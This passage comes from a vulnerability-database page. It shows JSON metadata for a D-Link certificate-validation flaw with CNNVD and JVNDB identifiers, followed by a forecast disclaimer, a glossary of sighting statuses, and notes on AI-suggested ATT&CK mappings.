"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "local",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-1635"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "plural D-Link Vulnerabilities related to certificate validation in product devices",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2019-007262"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "trust management problem",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-1635"
}
],
"trust": 0.6
}
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…